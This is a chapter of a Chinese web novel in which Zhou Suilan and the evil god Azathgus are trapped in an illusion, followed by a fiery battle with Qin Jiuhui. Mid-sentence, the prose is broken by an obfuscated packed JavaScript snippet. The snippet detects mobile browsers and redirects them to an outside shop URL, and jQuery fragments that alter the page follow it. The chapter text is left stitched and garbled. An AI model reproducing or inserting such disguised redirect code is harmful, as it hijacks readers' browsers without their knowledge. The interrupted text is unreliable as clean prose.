周岁澜并不是抗拒祂的吻,只是阿撒格斯恨着她,两人还能吻到一起,周岁澜觉得很奇怪。
怎么就变成这样了?
她闭上眼,不去看祂那张扭曲的脸,思绪不受控制地飘远。
她想起老爷子在梦里说的那些话。
马尔多·尤尔重伤她之后,周岁澜昏迷了很长时间,也做了很长的梦。
仿佛亲历的走马灯,坐在院中的竹椅上,听老爷子给她讲故事。
“小周子,你以为现在这些异象、邪神,是第一次出现?”
“其实,几千年前,人类就饱受这些东西的折磨,那些看不清模样的怪物四处游荡,普通人活不过朝夕,感觉到前所未有的强烈恐惧。”
“就在所有人都要放弃的时候,出现了一个少年。那孩子无父无母,凭着一身孤勇,开始四处游历。他不怕怪物的獠牙,凡是有异象作祟、有怪物伤人的地方,他都可以解决,保护大家。”
“可他杀了太多东西,那些东西的血,终是渗透了祂的灵魂。那些他曾经封印杀死的存在,正在一点点侵蚀他的意识。”
“到最后,他彻底变了,变成了自己曾经最痛恨的样子,他成了邪神。更可怕的是,他的力量太过强大。深渊之主想要吞噬他的力量,他只能反抗,一来二去,两人竟然相互融合、相互吞噬,最终融为一体,变成了一个既非深渊之主、也非少年,却又兼具两者力量的诡异存在,隐匿在深渊之中,再也没有出现过。”
阿撒格斯指尖还紧紧扣着她的下巴,“走神?”
周岁澜:“你可以继续,反正都是幻像。”
阿撒格斯放在她腰上的手慢慢下移,“继续?”
周岁澜面色僵硬:“我以为你会恨我,没想到,你还能贴上来。”
阿撒格斯低低地笑了起来,“你把事情想的太简单了。”
祂放在她腰上的手缓缓下移,死死扣住她的腰侧,强迫她贴近自己,两人的距离近得能清晰感受到彼此的喘息,唇瓣几乎再次相贴。“我现在不仅要的拿回心脏,我还要看着你崩溃。”
周岁澜的心猛地一沉,一股不祥的预感瞬间席卷全身。
“你要干什么?”
阿撒格斯:“干什么?自然是让你不好过。你不是在乎那些人吗?在乎秦九辉。”祂顿了顿,指尖轻轻摩挲着她的脖颈,“我会把他带到你面前,当着你的面,亲手杀死他。让你亲眼看着,你最珍视的一切,都毁在我的手里。”
周岁澜一直都知道阿撒格斯恨她,知道祂偏执疯狂,却从未想过,祂会用这样残忍的方式来折磨她,这话瞬间点燃了她心底积压已久的怒火。
此前所有的恍惚、悸动,在这一刻,全都被汹涌的怒意冲刷得一干二净。
“阿撒格斯,你只恨我而已。”
阿撒格斯的笑意骤然僵在脸上,每个字都是都从齿缝里挤出来的:“这是你欠我的。”
空气像凝固了似的,令人感到窒息。
周岁澜抬头盯着祂看了一会儿,眯了眯眼睛,渐渐冷静下来,“随你。”
祂这个状态,就算说什么都是无用的。
周岁澜眼底最后一点波动也沉了下去,轻轻嗤笑一声,
“这里是幻境,你在这里威胁我,把心脏拿回去也没用。折腾这么久,除了让自己更不痛快,还有半点意义?”
话落,眼前的这货反常地没有暴怒。
只是沉默。
祂脸上总是缺乏表情,这个时候眼里泄露出烦躁。
指节扣在她腰侧的力道松开。
空气里只剩下两人交缠的呼吸,以及一种诡异到极点的凝滞。
周岁澜心头忽然一跳。
一个荒谬却又无比清晰的念头,猛地撞进脑海。
“你……”周岁澜声音微顿,没忍住笑意,“你不会也出不去了吧?”
或许,不是祂不想拿回心脏,而是祂,也走不出这片幻境。
阿撒格斯的脸色骤然一沉。
周岁澜看着祂这副模样,忽然就全明白了。
恨是真的,怨是真的,想让她痛苦也是真的。
可同样的——他们现在,都被困在这里。
周岁澜又惊又喜:“能进来出不去了?”
阿撒格斯:“闭嘴。”
周岁澜:“我还以为......算了。还是先出去吧。”
阿撒格斯追问道:“以为什么?”
周岁澜缓了口气,转过身,走进一条小巷。
阿撒格斯脚步不自觉地跟上去,保持着几步的距离。
“这里是黑天镇。”周岁澜转过身看向阿撒格斯,“你出不去,大概是因为你执念太重。恨也好,怨也罢,这些情绪都被幻境捕捉,反过来困住了你。”
阿撒格斯冷冷哼了一声。
他们两个应该已经到了不能好好说话的地步。
周岁澜心底感慨了一句,窥了一眼阿撒格斯,转身朝着幻境深处走去。
幻境里的景象在缓缓变化,从童年时期的周岁澜和孙衡在广场打球。
紧接着,切换成高中时期,江庭送她回家,两人并肩走在雪地里。
阿撒格斯脚步顿在原地,没有像之前那样打碎眼前的幻象。只是安静的看着画面里的周岁澜,那是祂从未见过的模样,鲜活、明媚,在遇见祂之前,拥有纯粹的快乐。
幻境还在继续流转。
周岁澜说:“真怀念。”
阿撒格斯转身,给了她一个刀子般锋利眼神。
灰蒙蒙的雾气渐渐散去,取而代之的是熟悉的街巷,院子里堆着废弃的钢铁。
周岁澜推门进去,去往杂物间的阁楼,
老爷子把那些古籍都堆放在了那里,或许从那里可以找到破解幻像的办法。
阿撒格斯跟在她身后走进去,看着周岁澜熟练地拂去楼梯扶手上的灰尘,脚步轻快地走上二楼,心底莫名生出一丝异样的情绪。
二楼的阁楼不大,陈设简单,一张老旧的木板床,一张书桌,还有一个顶天立地的书架,书架上摆满了各种古籍和杂物,大多是爷爷生前收集来的。
周岁澜走到阿撒格斯面前。
阿撒格斯端详了她一会儿,侧身让开:“你确定,这些破书能帮我们出去?”
周岁澜走到书架前,踮起脚尖,伸手去够书架最顶层的古籍,闻言回头看了祂一眼:“不确定,但这是目前唯一的办法。”
阿撒格斯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188137|189949||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看着她费力的模样,并没有上前帮忙的意思。
祂向来厌弃这种沉闷又陈旧的地方,更厌弃和周岁澜这样近距离地共处一室——方才幻境里她鲜活明媚的模样,像一根细刺,扎在祂心头,陌生又烦躁。
阿撒格斯走出阁楼,站在院子里。
祂本想找个地方静一静,压下心底那股反常的情绪,可目光扫过院子中央。
那里躺着一个小女孩,蜷缩在地上,双目紧闭。
是幼年时期的周岁澜,此时,正躺在术式中央,不过四五岁模样。
周身萦绕着一层浑浊又诡异的微光,在她心口处凝结成一个细碎的符文。
而术式外,站着一个老人。
阿撒格斯的瞳孔微微收缩,想要走进看得更清楚些。
下一刻,整个院子骤然亮起一阵刺眼的白光,瞬间笼罩整个院落。
阿撒格斯眸色一沉,下意识后退一步,周身围绕着黑雾,试图抵御那突如其来的白光——祂本能地排斥这种的力量,可那白光异常温和,并未对祂造成伤害。
刺眼的白光褪去,眼前早已不是幻境里的废铁回收站,而是一片狼藉的废弃楼宇。
半边楼房已然坍塌,断壁残垣间燃着熊熊烈火,灼热的气浪扑面而来,几乎要灼伤肌肤。
“秦九辉!”周岁澜心头一紧。
秦九辉周身裹着烈焰,赤红的火焰如同有生命般缠绕在他的身体,每一次挥拳、每一次踢腿,都有滚烫的火舌喷涌而出,灼烧着周遭的一切。
对面的马尔多·尤尔,早已没了往日的从容。
身上的衣服被烧得焦黑,多处皮肤被火焰灼伤。手中凝聚的力量,每次撞上秦九辉的火焰,都会瞬间被灼烧殆尽。
马尔多·尤尔根本不是对手。
秦九辉赤红的火舌几乎要将半边天空染成橘红,灼热的气浪卷着灰烬四处翻飞,连断壁残垣上的碎石都被烤得发烫。
他朝着马尔多·尤尔冲去。
可预想中的攻击并未落下。
黑雾骤然凭空出现,稳稳挡在了马尔多·尤尔身前。
秦九辉的重拳狠狠砸在黑雾之上,炽烈的火焰与冰冷的黑雾碰撞在一起,冲击波将周围的断壁残垣震得粉碎。
阿撒格斯立于黑雾之中,眼睛只有毫不掩饰的杀意。
周岁澜的心也在这一刻提到了嗓子眼。
黑雾朝着秦九辉涌去。
阿撒格斯的眼底杀意更甚,缓缓抬手,黑雾凝聚成一柄漆黑的利刃,悬浮在半空之中,直指秦九辉的心脏。
情急之下,周岁澜将眼睛变为纯粹到极致的蓝色,如同深夜里最璀璨的星辰,细碎的光在瞳孔里流转。
她盯着秦九辉的方向,进行了时间回溯。
将他送回一个之前的时间节点。
可能是受到黑雾的影响。左侧的眼眶溢出血珠,顺着脸颊的轮廓滑落,凄美又狰狞。
阿黛尔焦急道:“周岁澜,你的眼睛已经超负荷了!”
阿撒格斯过转头。
周岁澜无所谓地笑了笑,眼睛渐渐恢复视力,虽然模糊,但足够看清阿黛尔。
阿黛尔脸上的惊诧还未来得及褪去,下一秒就不见了身影。